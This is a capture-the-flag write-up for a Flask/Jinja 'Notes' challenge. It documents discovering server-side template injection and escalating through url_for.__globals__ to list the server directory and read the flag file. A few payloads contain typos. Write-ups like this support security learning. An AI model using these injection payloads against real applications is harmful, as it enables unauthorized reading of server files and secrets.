Notes



http://challenges2.hexionteam.com:2001/

You can enter in notes and they are reflected back.

Page source has this comment:

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<!-- DEPRECATED <script>
$.getJSON("/notes", (res) => {
res.forEach(o => {
notesList.append(document.createTextNode(o));
});
});
</script> -->
If you go to /notes, you see them reflected in a [] list.
['rootbeer']
```

If you add {{1+1}} it is reflected back as {{1+1} BUT in /notes it is reflected as 2!

The response header says **gunicorn** which is something like flask; a python web server.

I don't know which templating engine is evaluating the {{}} expressions.

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Might be Jinja (after some googling).
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{#comment#} --> ''
{{'sam'.upper()}} --> 'SAM]
{{ord('A')}} --> crash
{{#comment#}} --> crash
```

Here are the possible initialization parameters:

block_start_string

Jinja says:

The string marking the beginning of a block. Defaults to '{%'.

block_end_string

The string marking the end of a block. Defaults to '%}'.

variable_start_string

The string marking the beginning of a print statement. Defaults to '{{'.

variable_end_string

The string marking the end of a print statement. Defaults to '}}'.

comment_start_string

The string marking the beginning of a comment. Defaults to '{#'.

comment_end_string

The string marking the end of a comment. Defaults to '#}'.

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{% print('hello') %} --> 'hello'
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{% print(42) %} --> '42'
% print('sam'.upper()) %} --> 'SAM]
{% print([1]) %} --> '[1]'
{% print(len([1])) %} --> crash, why???
```

Googled for ctf jinja, found this.

https://ctftime.org/writeup/11014

I followed along with their examples as follows:

{{__selt__._doc__}}

['The default undefined type. This undefined type can be printed and iterated over, but every other access will raise an :exc:`UndefinedError`: >>> foo = Undefined(name='foo') >>> str(foo) '' >>> not foo True >>> foo + 42 Traceback (most recent call last): ... jinja2.exceptions.UndefinedError: 'foo' is undefined ']

{{config}}

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```
# get a directory listing of / and notice a file called flag
{{url_for.__globals__.os.__dict__.listdir('./')}}
["['bash_logout', 'bashrc', 'profile', '__pycache__', 'server.py', 'templates', 'flag']"]
# read the file contents for the win
{{url_for.__globals__._builtins__.open('/flag').read()}}
hexCTF{dOnt r3nder t3mplates w1th u5er 1nput}
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